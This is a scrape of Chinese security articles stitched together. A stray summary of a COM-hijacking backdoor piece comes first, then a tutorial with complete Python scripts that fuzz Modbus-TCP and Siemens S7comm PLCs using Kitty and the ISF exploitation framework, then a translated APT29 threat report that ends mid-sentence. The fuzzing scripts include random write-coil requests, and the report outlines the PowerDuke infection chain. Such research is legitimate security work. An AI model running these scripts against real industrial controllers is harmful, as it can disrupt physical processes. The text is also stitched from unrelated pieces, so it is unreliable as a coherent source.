本文介绍了两种利用COM劫持实现的后门方法，结合之前文章的两种利用方法，综合分析COM劫持的防御方法。
特别值得注意的是，COM劫持后门能够绕过Autoruns对启动项的检测，实际防御时应该注意该细节。
>本文为 3gstudent 原创稿件， 授权嘶吼独家发布，如若转载，请注明原文地址：
<http://www.4hou.com/technology/7402.html> | 社区文章 |
**作者：小黑猪（朱文哲）@银河安全实验室
公众号：[银河安全实验室](https://mp.weixin.qq.com/s/QcGd746CkQVIxx847Zp8Jg "银河安全实验室")**
之前在[《开源工控安全研究框架ISF介绍》](https://mp.weixin.qq.com/s/Ddf0O8zXxj54zCoZJM_D9A
"《开源工控安全研究框架ISF介绍》")这篇文章中，提到了可以利用ISF中的工控协议模块对设备进行进行Fuzz测试，这篇文章将介绍如何具体的使用KittyFuzzer框架来实现。
由于文章主要描述的是如何利用Kitty框架结合ISF中的工控协议组件进行Fuzz，因此不会对Kitty框架本身进行过多的说明，如果对Kitty框架的参数及如何使用存在困惑的可以参考一下[Kitty的官方文档](https://kitty.readthedocs.io/en/latest/)
### 1\. 工具介绍
#### 1.1 kittyFuzzer
Kitty是一个用python编写的模块化及可扩展的开源fuzzing框架，其设计灵感来自OpenRCE的Sulley和Michael
Eddington的Peach Fuzzer(现在是Deja Vu Security的)。
Kitty的设计之初是用于帮助我们fuzz一些非常规的目标(例如一些复杂的非TCP/IP通讯的协议)时不用每次都重复的实现一些基础的功能。因此Kitty被设计成一个通用的抽象的框架，Kitty本身包含了我们所能想到的每个Fuzz测试过程中的公共功能，并且允许用户根据他们特定的目标轻松的进行扩展。
#### 1.2 ISF
ISF是我之前从事工业控制设备漏洞挖掘工作时积累的工控协议和POC代码等内容进行整合后的产物，后来将其中的一部分内容进行了开源，项目的地址是https://github.com/dark-lbp/isf。
[ISF](Industrial Exploitation
Framework)，是一款基于python编写的类似[Metasploit]的工控漏洞利用框架。
ISF基于开源项目[routersploit]修改而来，在routersploit基础框架上针对工控设备增加了工控协议的客户端、工控协议模块等功能。
### 2\. Fuzz Modbus协议
Modbus协议是在工业控制领域使用的非常广泛的一个基础协议，其协议格式也较为简单，没有复杂的协议状态机。下面会对如何利将Kitty框架与ISF框架中的工控协议组件相结合对Modbus-TCP协议执行fuzzing测试进行说明。
#### 2.1. 导入需要的python库
在进行Fuzzing测试之前我们需要使用Kitty框架来构造测试用例，首先我们需要导入一下基础的库。
# 从Kitty中导入Template等一系列基础组件
from kitty.model import Template
from kitty.interfaces import WebInterface
from kitty.fuzzers import ServerFuzzer
from kitty.model import GraphModel
# 从Kitty扩展库katnip中导入TcpTarget用于Fuzz TCP目标
from katnip.targets.tcp import TcpTarget
# 从Kitty扩展库katnip中导入scapy模块用于直接使用Scapy的数据结构
from katnip.model.low_level.scapy import *
# 从ISF中导入modbus_tcp相关的数据包结构
from icssploit.protocols.modbus_tcp import *
#### 2.2. 定义基础参数及数据结构
在导入了需要的模块后，还需要对目标Fuzzing测试对象的IP地址，通讯端口等一些基础参数进行设置。
# 定义目标Fuzz对象的IP地址
TARGET_IP = '172.16.22.131'
# 定义目标Fuzz对象的通讯端口
TARGET_PORT = 502
# 定义随机数种子
RANDSEED = int(RandShort())
在Modbus-TCP Fuzzing的例子中，我们将使用Modbus-TCP协议中的ReadCoilsRequest请求进行测试，下图是一个典型的Modbus Read Coils请求数据包。
下面的代码将介绍如何利用ScapyField将ISF框架中Modbus-TCP协议的ReadCoilsRequest数据包结构直接应用于Kitty中的例子。
# 根据ISF中Modbus-tcp协议的数据结构构造测试数据包,下面例子中将使用RandShort对请求的地址及bit位长度进行测试。
read_coils_request_packet = ModbusHeaderRequest(func_code=0x01)/ReadCoilsRequest(ReferenceNumber=RandShort(), BitCount=RandShort())
# 使用ScapyField直接将Scapy的数据包结构应用于Kitty框架中。
read_coils_request_template = Template(name='Read Coils Request', fields=[
ScapyField(read_coils_request_packet,
name='read_coils_request_packet', # 定义这个Field的名字，用于在报告中显示
fuzzable=True, # 定义这个Field是否需要Fuzz
seed=RANDSEED, # 定义用于变异的随机数
fuzz_count=2000 # 这个数据结构的fuzz次数
),
])
# 使用GraphModel进行Fuzz
model = GraphModel()
# 在使用GraphModel中注册第一个节点，由于Modbus的Read Coils请求是单次的请求/回答形式，因此这里只要注册简单的一个节点即可。
model.connect(read_coils_request_packet)
#### 2.3. 进行Fuzz模式配置
在完成了基础的定义后，还需要对Fuzz的模式等进行如下配置。
# 定义一个目标Target, 设置IP、端口及连接超时时间。
modbus_target = TcpTarget(name='modbus target', host=TARGET_IP, port=TARGET_PORT, timeout=2)
# 定义是需要等待Target返回响应，如果设置为True Target不返回数据包则会被识别成异常进行记录。
modbus_target.set_expect_response(True)
# 定义使用ServerFuzzer的方式进行Fuzz测试
fuzzer = ServerFuzzer()
# 定义fuzzer使用的交互界面为web界面
fuzzer.set_interface(WebInterface(port=26001))
# 在fuzzer中定义使用GraphModel
fuzzer.set_model(model)
# 在fuzzer中定义target为modbus_target
fuzzer.set_target(modbus_target)
# 定义每个测试用例发送之间的延迟
fuzzer.set_delay_between_tests(0.1)
# 开始执行Fuzz
fuzzer.start()
完成上述的设置后即可使用python命令执行这个脚本对目标进行测试了，运行后将会在命令行终端看到如下图所示的输出。
此时也可以通过开启的web管理界面来查看Fuzzing测试的状态。
上面介绍的是最基础的直接使用ISF中的数据结构来对协议进行Fuzzing的例子，如果想针对性的测试Modbus不同的功能码，那么就需要修改数据结构定义的部分，下面是Fuzzing写线圈数据包的例子。
write_coils_request_packet = ModbusHeaderRequest(func_code=0x05)/WriteSingleCoilRequest(ReferenceNumber=RandShort(), Value=RandShort())
# 使用ScapyField直接将Scapy的数据包结构应用于Kitty框架中
write_coils_request_packet_template = Template(name='Write Coils Request', fields=[
ScapyField(write_coils_request_packet,
name='wrire_coils_request_packet', # 定义这个Field的名字，用于在报告中显示
fuzzable=True, # 定义这个Field是否需要Fuzz
seed=RANDSEED, # 定义用于变异的随机数
fuzz_count=2000 # 这个数据结构的fuzz次数
),
])
model.connect(write_coils_request_packet_template)
#### 2.4. 完整代码
完整Fuzzing测试用例代码如下。
# !/usr/bin/env python2
# coding=utf-8
from kitty.model import Template
from kitty.interfaces import WebInterface
from kitty.fuzzers import ServerFuzzer
from kitty.model import GraphModel
from katnip.targets.tcp import TcpTarget
from katnip.model.low_level.scapy import *
from icssploit.protocols.modbus_tcp import *
TARGET_IP = '172.16.22.131'
TARGET_PORT = 502
RANDSEED = int(RandShort())
# 根据ISF中Modbus-tcp协议的数据结构构造测试数据包,下面例子中将使用RandShort对请求的地址及写入的值进行变异测试。
write_coils_request_packet = ModbusHeaderRequest(func_code=0x05)/WriteSingleCoilRequest(ReferenceNumber=RandShort(), Value=RandShort())
# 使用ScapyField直接将Scapy的数据包结构应用于Kitty框架中
write_coils_request_packet_template = Template(name='Write Coils Request', fields=[
ScapyField(write_coils_request_packet,
name='wrire_coils_request_packet', # 定义这个Field的名字，用于在报告中显示
fuzzable=True, # 定义这个Field是否需要Fuzz
seed=RANDSEED, # 定义用于变异的随机数
fuzz_count=2000 # 这个数据结构的fuzz次数
),
])
# 使用GraphModel进行Fuzz
model = GraphModel()
# 在使用GraphModel中注册第一个节点。
model.connect(write_coils_request_packet_template)
# 定义一个目标Target, 设置IP、端口及连接超时时间。
modbus_target = TcpTarget(name='modbus target', host=TARGET_IP, port=TARGET_PORT, timeout=2)
# 定义是需要等待Target返回响应，如果设置为True Target不返回数据包则会被识别成异常进行记录。
modbus_target.set_expect_response(True)
# 定义使用基础的ServerFuzzer进行Fuzz测试
fuzzer = ServerFuzzer()
# 定义fuzzer使用的交互界面为web界面
fuzzer.set_interface(WebInterface(port=26001))
# 在fuzzer中定义使用GraphModel
fuzzer.set_model(model)
# 在fuzzer中定义target为modbus_target
fuzzer.set_target(modbus_target)
# 定义每个测试用例发送之间的延迟
fuzzer.set_delay_between_tests(0.1)
# 开始执行Fuzz
fuzzer.start()
### 3\. Fuzz 西门子s7comm协议
西门子s7comm协议是大部分西门子S7-300/400系列PLC默认使用的通讯协议，s7comm协议与Modbus-TCP协议有所不同，s7comm协议由TPKT协议及ISO-COTP协议封装后进行传输，且发送实际控制指令前必须先经过建立COTP连接及配置s7comm通讯参数这两个步骤。下面会对如何解决这些问题，对西门子S7comm协议执行Fuzzing测试进行说明。
#### 3.1. 导入需要的python库
此处的操作和进行Modbus-TCP Fuzzing测试时基本相同，只需要额外引入S7comm的协议数据结构即可。
from kitty.model import Template
from kitty.interfaces import WebInterface
from kitty.fuzzers import ServerFuzzer
from kitty.model import GraphModel
from katnip.targets.tcp import TcpTarget
from katnip.model.low_level.scapy import *
# 从ISF中导入s7comm相关的数据包结构
from icssploit.protocols.s7comm import *
#### 3.2. 定义基础参数及数据结构
如之前所说，S7comm协议在发送具体的请求参数前，需要先建立COTP连接并进行通讯参数配置，具体的流程如下图所示。
因此我们在对请求操作进行Fuzzing测试时也需要先事先建立COTP连接，完成通讯参数配置后才能发送对应的测试数据。
首先需要对目标设备的一些连接信息进行设置，TSAP相关的参数涉及到目标设备的槽位号和连接方式等信息被用于建立COTP-CR连接时使用，具体参数需要根据实际测试设备在编程时的槽位号进行调整。
# snap7 server 配置信息
TARGET_IP = '172.16.22.131'
TARGET_PORT = 102
RANDSEED = int(RandShort())
SRC_TSAP = "0100".encode('hex') # COTP CR请求的参数
DST_TSAP = "0102".encode('hex') # COTP CR请求的参数
随后我们则需要进一步构造用于建立连接的数据包结构及需要进行fuzzing测试的数据包格式， 具体的代码及说明如下。
# 定义COTP CR建立连接数据包
COTP_CR_PACKET = TPKT()/COTPCR()
COTP_CR_PACKET.Parameters = [COTPOption() for i in range(3)]
COTP_CR_PACKET.PDUType = "CR"
COTP_CR_PACKET.Parameters[0].ParameterCode = "tpdu-size"
COTP_CR_PACKET.Parameters[0].Parameter = "\x0a"
COTP_CR_PACKET.Parameters[1].ParameterCode = "src-tsap"
COTP_CR_PACKET.Parameters[2].ParameterCode = "dst-tsap"
COTP_CR_PACKET.Parameters[1].Parameter = SRC_TSAP
COTP_CR_PACKET.Parameters[2].Parameter = DST_TSAP
# 因为是建立连接使用，因此fuzzable参数需要设置为False避免数据包被变异破坏。
# 如果想对建立连接的过程也进行分Fuzz的话，则可以另行编写测试用例。
COTP_CR_TEMPLATE = Template(name='cotp_cr', fields=[
ScapyField(COTP_CR_PACKET, name='cotp_cr', fuzzable=False),
])
# 定义通讯参数配置数据结构
SETUP_COMM_PARAMETER_PACKET = TPKT() / COTPDT(EOT=1) / S7Header(ROSCTR="Job", Parameters=S7SetConParameter())
# 因为是建立连接使用，因此fuzzable参数需要设置为False避免数据包被变异破坏。
# 如果想对建立连接的过程也进行分Fuzz的话，则可以另行编写测试用例。
SETUP_COMM_PARAMETER_TEMPLATE = Template(name='setup comm template', fields=[
ScapyField(SETUP_COMM_PARAMETER_PACKET, name='setup comm', fuzzable=False),
])
# 定义需要Fuzzing的数据包结构, 下面例子中将使用RandShort对请求的SZLId及SZLIndex值进行变异测试。
READ_SZL_PACKET = TPKT() / COTPDT(EOT=1) / S7Header(ROSCTR="UserData", Parameters=S7ReadSZLParameterReq(),Data=S7ReadSZLDataReq(SZLId=RandShort(), SZLIndex=RandShort()))
# 定义READ_SZL_TEMPLATE为可以进行变异的结构，fuzzing的次数为1000次
READ_SZL_TEMPLATE = Template(name='read szl template', fields=[
ScapyField(READ_SZL_PACKET, name='read szl', fuzzable=True, fuzz_count=1000),
])
# 在完成了上述的结构定义后就可以使用GraphModel将这些数据包结构进行前后关联。
# 使用GraphModel进行Fuzz
model = GraphModel()
# 在GraphModel中注册第一个节点, 首先发送COTP_CR请求。
model.connect(COTP_CR_TEMPLATE)
# 在GraphModel中注册第二个节点, 在发送完COTP_CR后发送SETUP_COMM_PARAMETER请求。
model.connect(COTP_CR_TEMPLATE, SETUP_COMM_PARAMETER_TEMPLATE)
# 在GraphModel中注册第三个节点, 在发送完SETUP_COMM_PARAMETER后发送READ_SZL请求。
model.connect(SETUP_COMM_PARAMETER_TEMPLATE, READ_SZL_TEMPLATE)
#### 3.3. 进行Fuzz模式配置
在完成了上述的定义后，剩下的配置和Modbus基本一致，只需要修改一下Target的名称等即可。
# define target
s7comm_target = TcpTarget(name='s7comm target', host=TARGET_IP, port=TARGET_PORT, timeout=2)
# 定义是需要等待Target返回响应，如果设置为True Target不返回数据包则会被识别成异常进行记录。
s7comm_target.set_expect_response(True)
# 定义使用基础的ServerFuzzer进行Fuzz测试
fuzzer = ServerFuzzer()
# 定义fuzzer使用的交互界面为web界面
fuzzer.set_interface(WebInterface(port=26001))
# 在fuzzer中定义使用GraphModel
fuzzer.set_model(model)
# 在fuzzer中定义target为s7comm_target
fuzzer.set_target(s7comm_target)
# 定义每个测试用例发送之间的延迟
fuzzer.set_delay_between_tests(0.1)
# 开始执行Fuzz
fuzzer.start()
完成上述的设置后即可使用python命令执行这个脚本对目标进行测试了，运行后将会在命令行终端看到如下图所示的输出。
此时也可以通过开启的web管理界面来查看Fuzzing测试的状态
上面介绍的是使用Kitty结合ISF中的协议数据结构对西门子S7comm协议进行Fuzzing的例子，如果想针对性的测试S7comm的不同协议功能码依旧需要修改数据结构定义的部分。
#### 3.4. 完整代码
下面是Fuzzing Read SZL结构的完整测试用例。
#!/usr/bin/python2
# coding:utf-8
from kitty.model import Template
from kitty.interfaces import WebInterface
from kitty.fuzzers import ServerFuzzer
from kitty.model import GraphModel
from katnip.targets.tcp import TcpTarget
from katnip.model.low_level.scapy import *
# 从ISF中导入cotp相关的数据包结构
from icssploit.protocols.cotp import *
# 从ISF中导入s7comm相关的数据包结构
from icssploit.protocols.s7comm import *
# snap7 server 配置信息
TARGET_IP = '172.16.22.131'
TARGET_PORT = 102
RANDSEED = int(RandShort())
SRC_TSAP = "0100".encode('hex')
DST_TSAP = "0103".encode('hex')
# 定义COTP CR建立连接数据包
COTP_CR_PACKET = TPKT()/COTPCR()
COTP_CR_PACKET.Parameters = [COTPOption() for i in range(3)]
COTP_CR_PACKET.PDUType = "CR"
COTP_CR_PACKET.Parameters[0].ParameterCode = "tpdu-size"
COTP_CR_PACKET.Parameters[0].Parameter = "\x0a"
COTP_CR_PACKET.Parameters[1].ParameterCode = "src-tsap"
COTP_CR_PACKET.Parameters[2].ParameterCode = "dst-tsap"
COTP_CR_PACKET.Parameters[1].Parameter = SRC_TSAP
COTP_CR_PACKET.Parameters[2].Parameter = DST_TSAP
# 因为是建立连接使用，因此fuzzable参数需要设置为False避免数据包被变异破坏。
COTP_CR_TEMPLATE = Template(name='cotp cr template', fields=[
ScapyField(COTP_CR_PACKET, name='cotp cr', fuzzable=False),
])
# 定义通讯参数配置数据结构
SETUP_COMM_PARAMETER_PACKET = TPKT() / COTPDT(EOT=1) / S7Header(ROSCTR="Job", Parameters=S7SetConParameter())
SETUP_COMM_PARAMETER_TEMPLATE = Template(name='setup comm template', fields=[
ScapyField(SETUP_COMM_PARAMETER_PACKET, name='setup comm', fuzzable=False),
])
# 定义需要Fuzzing的数据包结构, 下面例子中将使用RandShort对请求的SZLId及SZLIndex值进行变异测试。
READ_SZL_PACKET = TPKT() / COTPDT(EOT=1) / S7Header(ROSCTR="UserData", Parameters=S7ReadSZLParameterReq(),Data=S7ReadSZLDataReq(SZLId=RandShort(), SZLIndex=RandShort()))
# 定义READ_SZL_TEMPLATE为可以进行变异的结构，fuzzing的次数为1000次
READ_SZL_TEMPLATE = Template(name='read szl template', fields=[
ScapyField(READ_SZL_PACKET, name='read szl', fuzzable=True, fuzz_count=1000),
])
# 使用GraphModel进行Fuzz
model = GraphModel()
# 在使用GraphModel中注册第一个节点, 首先发送COTP_CR请求。
model.connect(COTP_CR_TEMPLATE)
# 在使用GraphModel中注册第二个节点, 在发送完COTP_CR后发送SETUP_COMM_PARAMETER请求。
model.connect(COTP_CR_TEMPLATE, SETUP_COMM_PARAMETER_TEMPLATE)
# 在使用GraphModel中注册第三个节点, 在发送完SETUP_COMM_PARAMETER后发送READ_SZL请求。
model.connect(SETUP_COMM_PARAMETER_TEMPLATE, READ_SZL_TEMPLATE)
# define target
s7comm_target = TcpTarget(name='s7comm target', host=TARGET_IP, port=TARGET_PORT, timeout=2)
# 定义是需要等待Target返回响应，如果设置为True Target不返回数据包则会被识别成异常进行记录。
s7comm_target.set_expect_response(True)
# 定义使用基础的ServerFuzzer进行Fuzz测试
fuzzer = ServerFuzzer()
# 定义fuzzer使用的交互界面为web界面
fuzzer.set_interface(WebInterface(port=26001))
# 在fuzzer中定义使用GraphModel
fuzzer.set_model(model)
# 在fuzzer中定义target为s7comm_target
fuzzer.set_target(s7comm_target)
# 定义每个测试用例发送之间的延迟
fuzzer.set_delay_between_tests(0.1)
# 开始执行Fuzz
fuzzer.start()
### 4\. 小结
通过将Kitty与基于Scapy的数据包结构进行结合能够基于一些现有的协议组件(例如ISF或Scapy中原生的协议)快速的构造一个高度自定义的Fuzzing测试用例，特别是在面对复杂的协议时可以减少大量的协议数据结构编写等大量工作。
Kitty的可扩展性非常强，而且本文只涉及到了其中非常少的一部分功能，通过对Kitty进行扩展可以快速的针对特定目标构造对应的Fuzzing工具。
* * * | 社区文章 |
# APT29—觊觎全球情报的国家级黑客组织
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
依托国家情报机构发动的网络战日益频繁。在各国的网络战博弈中，俄美等国家凭借其长期的情报机构建设积累以及强大的武器库资源储备在公众眼中暂处第一梯队。国内情报分析人员接触到的有关这类高度复杂的APT组织相关情报信息大多数来源于国外安全机构。拥有俄罗斯联邦对外情报局（SVR）背景的APT29组织即是如此，近半年时间内，随着SolarWinds供应链攻击的曝光以及后续多家安全机构的调查分析，疑似幕后黑手的APT29开始回归大众视野中。
当前针对APT29的公开披露情报信息因为国家政治公关、敏感信息阉割等因素显得繁琐混杂、可信度高低不一。微步情报局基于已积累的情报信息以及网络公开情报信息甄别研判结果，对APT29的重大攻击事件、组织关联归因、攻击技战法等进行了深度复盘分析，致力于客观、全面地向大众解读APT29的真实面貌。
本文主要输出以下内容：
1. 梳理当前公开情报信息，APT29组织结构分析及各分支机构经典攻击事件分析。
2. 探究The Dukes、WellMess、Nobelium（Solarwinds）归因点及可信度。
3. APT29关键TTPS剖析。
4. 微步视角下的APT29组织画像。
## 二、背景
据维基百科记载，俄罗斯联邦对外情报局（俄语：Служба Внешней Разведки，英语：Foreign Intelligence Service
of the Russian
Federation，简称SVR）是俄罗斯的情报机关之一，专门负责俄罗斯境外的情报活动。对外情报局的前身是苏联国家安全委员会第一总局，即克格勃第一总局，是1954年3月13日–1991年11月6日期间苏联的情报机构，在当时被认为是全球效率最高的情报收集机构。
图【1】克格勃第一总局&SVR标志性徽章
1991年苏联解体后，俄罗斯境内的原克格勃机关改制为俄罗斯联邦安全局（FSB），其第一总局改制为俄罗斯对外情报局（SVR）。白俄罗斯则完整保留境内克格勃机关的建制及原有名称。其总部位于俄罗斯莫斯科亚先捏沃，有一万三千名员工，特工会化身为外交人员或记者进行情报活动。
APT29隶属于俄罗斯联邦对外情报局，国内外安全机构曾命名Dark
Halo、StellarParticle、Nobelium、UNC2452、YTTRIUM、The Dukes、Cozy
Bear、CozyDuke、Office
Monkeys等。其攻击目标覆盖欧洲、北美、亚洲、非洲的多个地区和国家，主要攻击目标为包含美国、英国等在内的北约成员国以及欧洲地域邻近国家，具体攻击行业目标为政府实体、科研机构、智囊团、高技术企业、通信基础设施供应商等。
图【2】 引自爱沙尼亚外国情报局报告
APT29至少自2008年开始活跃，其最初映入公众眼帘是在2009年Dukes早期工具集曝光，木马的新颖之处在于使用Twitter社交平台存放恶意网络资产、以此为跳板进行后续网络交互行为。“Duke”的命名源于卡巴斯基安全研究人员，由臭名昭著的Duqu蠕虫（与Stuxnet震网蠕虫存在关联）联想而来，此后一直延用至今。值得注意的是Duke系列木马组件与Duqu蠕虫无任何实质性关联，切勿混为一谈。自此至2019年10余年时间内，公开披露的APT29活动中均可看到Dukes工具集的使用，只是后续的Dukes工具集已经扩充成包含PolyglotDuke、RegDuke、MiniDuke、FatDuke、SeaDuke等在内的复杂武器库工具集。在此期间，最让人印象深度的是2016年美国总统大选期间APT29针对美国民主党全国委员会（Democratic
National
Committee，简称DNC）的间谍活动（据NCCIC、FBI披露，该活动由APT28、APT29协同参与，于2015年夏季开始对目标系统渗入）。
如果说2020年之前所披露的APT29的一系列攻击活动只是让公众广泛意识到存在这么一个实力雄厚、背景强大的APT组织，那么自2020年6月之后的攻击活动将会使绝大多数独立政权国家开始思考自身的网络环境安危。2020年7月，全球新冠肺炎疫情局势紧张，一波使用WellMess\WellMail等攻击组件对全球COVID-19
疫苗研制机构的定向攻击活动被关联归因至APT29，同年12月份曝光的Solarwinds供应链攻击活动同样指向APT29，受害者覆盖欧美亚地区4700余个实体机构。
本文后续将逐步梳理已掌握情报信息，客观地去分析APT29关联归因证据，对已披露的重点攻击事件进行复盘分析，最后将结合微步积累情报数据给出APT29的团伙画像。
## 三、组织结构划分
我们整合了自2015年至今关于APT29的公开披露报告，披露来源为权威的国家情报部门机构和安全研究机构，披露内容包括武器库特马组件、特定攻击事件、阶段性总结报告、取证溯源调查报告等内容。对其进行时间先后排序，整理如下表所示。
Table 1 APT29公开披露报告
在历史披露报告中，各安全机构对某一时间节点的攻击组件、攻击活动、幕后攻击团伙（有些攻击事件在披露时未能关联至已知组织，产生了一系列全新的命名）存在多种不同的命名，其中部分命名是由特马组件指纹演变而来。为了便于整合这些信息，我们可以依据特定的木马工具集（主要指初始投递到PC端的前阶段载荷）对其进行分类，总共可以分成三块：The
Dukes系列、WellMess系列、Nobelium系列。其中各个系列除了前期攻击载荷中使用的特马工具存在较大差异之外，在攻击目标、参与攻击事件、攻击活跃时间区段等均会存在一些重合。各系列分支简要说明如下：
Table 2 APT29分支结构：
**The Dukes系列** |
2008—2019.10，使用时间跨度最长，包括多个复杂的命名含“Duke”的工具集，包括2016年对美国民主党DNC攻击中使用。
---|---
**WellMess系列** |
2018.06—至今，针对Windows、Linux双平台，由JPCERT披露，攻击了包括美国、英国在内的多个国家的医疗、政府、科研、高校、高科技企业等机构。WellMess、WellMail、SoreFang恶意软件。COVID-19
疫苗研制机构间谍活动。
**Nobelium系列** |
2018.11—至今，MSTIC命名，包含Solarwinds供应链攻击中的构建过程劫持木马、嵌入后门以及后续多阶攻击组件。该系列工具集最早于2018年11月火眼披露的对美国智库、公共部门等的定向攻击中出现。
The Dukes、Well Mess、Nobelium系列工具集活跃时间轴线图如下：
图【3】 APT29三大系列分支活跃时间示意
接下来，我们针对The Dukes系列、WellMess系列以及Nobelium系列分开总结梳理APT29特有的攻击活动特点。
## 四、攻击战术剖析
基于上述对APT29的组织结构分类，我们分开探讨The Dukes、WellMess、Nobelium三大分支特有的攻击偏好、攻击战术、代表性攻击事件。
### **4.1 The Dukes系列**
The Dukes系列是最早公开披露的APT29组织，同期别名包括HamMertos、Cozy
Bear、CozyDuke等，活动时间从2008年到2018年，攻击目标包括全部欧洲国家、多数中东地区国家、部分亚非国家、以美国为主的北美国家，具体行业目标包括政府实体、政府智库、车臣极端主义机构等。2015年9月，F-Secure团队对Dukes的攻击活动、攻击组件进行总结披露；随后ESET团队在2019年10月对Dukes的后续攻击活动及武器库进行扩充披露。
在Dukes一系列的攻击活动中，除了2015年夏季至2016年末美国总统大选期间对民主党派为主政府机构的定向攻击活动之外，Dukes攻击目标主要集中在俄罗斯西南方向的欧洲邻国。其攻击方式主要为鱼叉网络攻击，通过伪造特定时政话题内容、携带恶意钓鱼外链或恶意附件投递初始攻击载荷。其历史攻击活动中使用过的部分诱饵素材展示如下。
图【4】 2014.07使用的“Office Monkeys”视频诱饵截图
图【5】 2015.08鱼叉邮件“选举结果可能会被修改”
除了发现这类常见的鱼叉网络攻击之外，Dukes也存在一些“异常”的攻击行为。2014年10月，Levithan安全团队披露Dukes通过控制部分Tor网络出口节点进行中间人攻击，劫持用户流量后投递Dukes特马，此种发散式的攻击迅速组建了一个超过千余台PC主机的僵尸网络（肉机主要分布在蒙古和印度）。对于这种一反常态的发散式攻击行为，攻击动机存在较大争议，其中一种观点是Dukes攻击目标为与俄罗斯相关的毒贩等犯罪团伙。除此之外，2015年1月至2016年年底，Dukes发动了多起针对美国政府机关、智库、非政府单位的鱼叉邮件钓鱼攻击，具体攻击目标达到数千数量级别。在该系列鱼叉邮件攻击活动的早期，Dukes向超过一千个目标邮箱发送了同一封钓鱼邮件，邮件内容并未像之前那样伪装时政热点这类诱骗性更高的话题内容，反而采用了勒索团伙常用的“电子传真”这类具备垃圾邮件特点的话题，这种对千余个目标采用完全相同的钓鱼邮件而且内容粗糙的行为特点在APT攻击案件中较为罕见。当然，从攻击者角度来看，这种大批量的攻击只是用于前期甄别有价值目标，服务于前期社攻阶段。
我们以2016年9月份Dukes对哈佛大学的一次鱼叉邮件攻击为例介绍Dukes时期的常见攻击形式。攻击者伪造“克林顿基金”话题内容诱使用户点击外链下载攻击者准备的攻击载荷，其中下载文件为ZIP压缩格式，压缩密码在邮件正文中给出（6190）。
图【6】 引自volexity，“克林顿基金会”诱饵
附件解压后是一个名为“37486-the-shocking-truth-about-election-rigging-in-america.rtf”的LNK文件，命令行语句启动powershell进程执行base64编码的ps1脚本，ps1脚本进行当前PC机器环境检测之后按照既定文件偏移提取LNK文件中数据，然后进行异或解密，写入落地文件。落地文件包括：
%TEMP%\37486-the-shocking-truth-about-election-rigging-in-america.rtf（诱饵文件）、
%APPDATA%\Skype\hqwhbr.lck（PowerDuke特马加载器）、%APPDATA%\Skype\hqwhbr.lck:
schemas（PNG格式的文件流数据，携带加密PowerDuke载荷，以图片格式打开将正常显示装酒的高脚杯）。内存态的PowerDuke特马与攻击者交互实现常见的窃密、监控、后门等行为。
图【7】 PowerDuke鱼叉邮件攻击流程示意图
LNK 文件在真实用户环境中打开后将展示释放的诱饵文档。
图【8】 美国选举操纵的“令人震惊”的真相
上述鱼叉邮件攻击活动中投入使用的PowerDuke组件是The
Dukes在美国总统大选期间使用频率较高的一款特马，自2008年至2019年期间，Dukes组件经过一系列扩充改进已形成一套功能齐全的工具集，实现功能包括简单的下载器、加载器、窃密木马、高级远控木马、提权组件（曾披露投入使用0day漏洞）、加密组件、横移组件等。在实际攻击活动中，投递载荷会根据实际情况选择多阶Dukes特马渗入。参考ESET披露的“Ghost行动”中的Dukes工具集使用流程如下。
图【9】 引自ESET Dukes “GHOST”行动披露报告
基于F-Secure在2015年总结的Dukes各攻击组件活跃时间区间轴线图，我们整合后续系列的Dukes组件，绘制完整的Dukes组件使用时间区间图如下所示：
图【10】 The Dukes工具集各组件投入使用时间区间
### **4.2 WellMess系列**
WellMess系列攻击组件最早于2018年7月由JPCERT在“针对Linux和Windows的恶意软件WellMess”一文中披露，该木马采用golang和.Net环境进行开发设计，实现基础的窃密监听恶意功能，并存在针对Windows、Linux平台的攻击样本。当时只是作为恶意软件进行披露，并未关联归因，所以并未引起公众关注，直到两年后的2020年7月，正值全球新冠疫情紧张时期，英国国家网络安全中心（National
Cyber Security Centre（United
Kingdom），简称NCSC）联合NSA（美国国家安全局）、CISA（美国网络安全和基础设施安全局）、CSE（加拿大通信安全机构）披露了APT29使用WellMess组件（还包括新命名的WellMail同源组件）攻击全球COVID-19疫苗研制机构（主要国家为英国、美国、加拿大），随后英国普华永道公司披露了WellMess组件归因至APT29的部分细节。
区别于The
Dukes时期的攻击活动，WellMess系列攻击活动主要通过远程网络渗透形式发起攻击，期间使用了多个Nday漏洞，其中包括国内某安全厂商的VPN升级包未验证漏洞。随着WellMess的曝光度增加，国内外的调查行动显示WellMess的攻击目标覆盖医疗、政府、科研、高校、高科技企业等行业，除了欧美地区国家之外，部分亚洲国家也是WellMess的主要攻击目标。WellMess活动的基本渗透流程如下图所示，攻击者通过网络渗透手段成功实现单点登录之后，会下发WellMess系列木马组件建立C&C通信通道，随后会结合第三方工具（如网络代理、端口转发、密码爬取、信息收集等工具）辅助进行深层的域环境渗透攻击，最终目的为寻找高价值主机窃取情报。
图【11】 WellMess攻击流程示意图
WellMess组件使用的C&C通信协议包括HTTP、HTTPS、DNS，其中HTTP协议通信最为常见。WellMess木马上线之后会立即与C&C端交互协商用于后续通信数据加密的AES
key，更新的AES key采用RSA算法加密传输。木马与C&C端的交互数据加密协议可分为两部分：HTTP Header部分的Cookie字段、Body
data部分。其中头部的Cookie数据用于传输C&C下发指令，Body部分为具体功能指令对应的上传数据。其HTTP通信数据加密协议结构如下:
图【12】 WellMess HTTP通信流量加密协议
截取WellMess木马 HTTP通信加密流量如下:
图【13】 WellMess木马HTTP通信加密流量
### **4.3 Nobelium（SolarWinds）系列**
2020年12月13日，FireEye安全公司披露了Solarwinds供应链攻击事件，攻击者通过攻击SolarWinds软件供应商实现SolarWinds
Orion管理软件构建编译过程中投毒。该供应链攻击事件至少可追溯到2020年春季，受害者至少包括北美、欧洲、亚洲和中东的政府、咨询、技术、电信和采掘等行业机构，全球超过18000多个具体单位可能受到此起供应链攻击活动影响。英美政府将Solarwinds供应链攻击事件归因至APT29，但是并未提供具体归因证据。2021年3月，瑞士安全公司PRODAFT发布对SilverFish（PRODAFT命名的组织名称，可关联到Solarwinds供应链攻击事件）进行为期近三个月的调查报告，该调查报告为Solarwinds供应链攻击事件归因至APT29提供了较为有力的佐证（本文后续的Nobelium关联归因部分将展开介绍）。
MSTIC在2021年一二季度持续披露了Solarwinds供应链攻击事件中Sunburst木马之后的其他组件，基于Microsoft
